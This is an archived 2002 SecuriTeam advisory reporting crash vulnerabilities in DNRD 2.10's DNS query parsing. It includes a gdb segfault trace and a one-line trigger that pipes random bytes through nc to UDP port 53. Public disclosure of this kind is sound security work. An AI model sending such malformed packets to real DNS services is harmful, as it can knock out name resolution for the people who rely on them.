

[UNIX] DNRD Contains Security Vulnerabilities (Request, Reply)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0123.html>

From: support@securiteam.com

Date: 01/25/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 25 Jan 2002 14:48:59 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

DNRD Contains Security Vulnerabilities (Request, Reply)

SUMMARY

There are various problems with dnrd.nevalabs.org DNRD (Domain Name Relay Daemon)'s DNS request and reply functions that cause it to crash.

DETAILS

Vulnerable systems:

DNRD version 2.10

Reproduce:

Using two consoles, do the following:

Terminal one:

```
$ gdb dnrd
```

```
GNU gdb 5.0rh-5 Red Hat Linux 7.1
```

```
Copyright 2001 Free Software Foundation, Inc.
```

```
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was
```

Securiteam: [UNIX] DNRD Contains Security Vulnerabilities (Request, Reply)

```

configured as "i386-redhat-linux".
(gdb) set arg -s 1.2.3.4 -d
(gdb) run
Starting program: /data/audit/dnrd-2.10/src/dnrd -d
[New Thread 1024 (LWP 3249)]
ERROR: Couldn't kill dnrd: No such process
Debug: cache low/high: 800/1000
Debug: initialising master DNS database
Debug: no master configuration: /etc/dnrd/master
Debug: initialising from /etc/hosts, domain= <none>
Debug: /etc/hosts: 3 records
Debug: Received DNS query for "..\S?anx, 6h???-?C???">" real ?
"?????£???@?w???1?p??@??"

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 3249)]
parse_query (y=0xbffff140, msg=0xb4bfff7 <Address 0xb4bfff7 out of
bounds>, len=1346377321) at dns.c:298
298 if (ntohs(((short int *) msg)[2]) == 0) { /* C is nice.
*/

```

Note that the ? are various control characters that I could not paste in, because they are not printable and kept stuffing up VIM.

```

Terminal two:
$ dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1

```

At one stage we also had msg=0x2e2e2e2e <Address 0x2e2e2e2e out of bounds>.

It's not just parse_query that has this problem, but also places like get_objectname().

ADDITIONAL INFORMATION

The information has been provided by <mailto:andrewg@tasmail.com> Andrew Griffiths.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
 To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
 In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [UNIX] DNRD Contains Security Vulnerabilities (Request, Reply)

loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[NT] Odd Behavior in Windows XP Home (Security Vulnerability, Shares)"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)